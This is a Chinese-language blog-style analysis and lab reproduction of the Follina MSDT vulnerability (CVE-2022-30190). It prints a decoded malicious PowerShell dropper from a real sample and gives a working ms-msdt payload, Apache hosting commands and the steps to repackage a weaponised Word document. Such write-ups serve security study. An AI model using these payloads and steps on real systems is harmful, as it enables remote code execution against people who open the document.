CVE-2022-30190
在微软官方的介绍里,是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。
意思是恶意 Word 文档可以使用远程模板功能从远程服务器获取 HTML 文件,并且 HTML 代码可以使用 Microsoft 的 MS-MSDT URI 协议方案来加载其他代码并执行 PowerShell 代码
与其他的漏洞不同,要利用此漏洞,攻击者只需要用户打开恶意文档即可,保存为RTF文件后,用户只是预览恶意文件,不用单击或者双击恶意文件也会执行代码
我在ANY.RUN上下载了样例和漏洞代码来进行分析
ANY.RUN上下载了样例和漏洞代码来进行分析
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
这个漏洞是从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,也就是文档的xml文件从外部引用了一个链接,然后执行了恶意代码
使用unzip命令解压word文档,来分析这个xml文件
在这里对外部文件进行了引用,我们在ANY.RUN上查看这个被引用文件的源代码
代码分析:
window.location.href:设置了一个窗口
ms-msdt:是windows的诊断工具
之后就是ms-msdt的一些参数,不重要
调用了powershell,执行的内容经过了base64加密,我们解密看看
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
启动隐藏窗口然后:
如果 msdt.exe 正在运行,则终止它
循环遍历 RAR 文件中的文件,查找编码 CAB 文件的 Base64 字符串
将此 Base64 编码的 CAB 文件存储为1.t
解码Base64编码的CAB文件保存为1.c
将1.c CAB文件展开到当前目录,最后:
执行rgb.exe
windows会毫无限制的盲目执行这个powershell,如果我们修改成想执行的代码,就会导致远程代码执行漏洞
漏洞利用的办法很简单,我们只需要修改一下这个xml文件,让他引用我们网站上的恶意代码就好了
漏洞利用
这里我们弹一个计算器
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";
在 IT_BrowseForFile 参数的开头至少需要两次 /../ 目录遍历
包含在 $() 中的代码将通过 PowerShell 执行
.exe”必须是出现在 IT_BrowseForFile 参数末尾的最后一个字符串
然后将内容放入html文件里
注意,apache需要开启ssl,不然就无法成功复现
https://techexpert.tips/zh-hans/apache-zh-hans/%E5%9C%A8-apache-%E4%B8%8A%E5%90%AF%E7%94%A8-https/
开启apache服务后,将此文件放到网站根目录上
service apache2 start
cp RDF842l.html /var/www/html
然后将xml里的外部引用改成我们网站
修改好后,我们将解压再压缩回去
zip -r /home/kali/cve-2022-30190/shell.doc word/* _rels/* _rels/ _rels/.rels \[Content_Types\].xml
然后复制到目标靶机上双击执行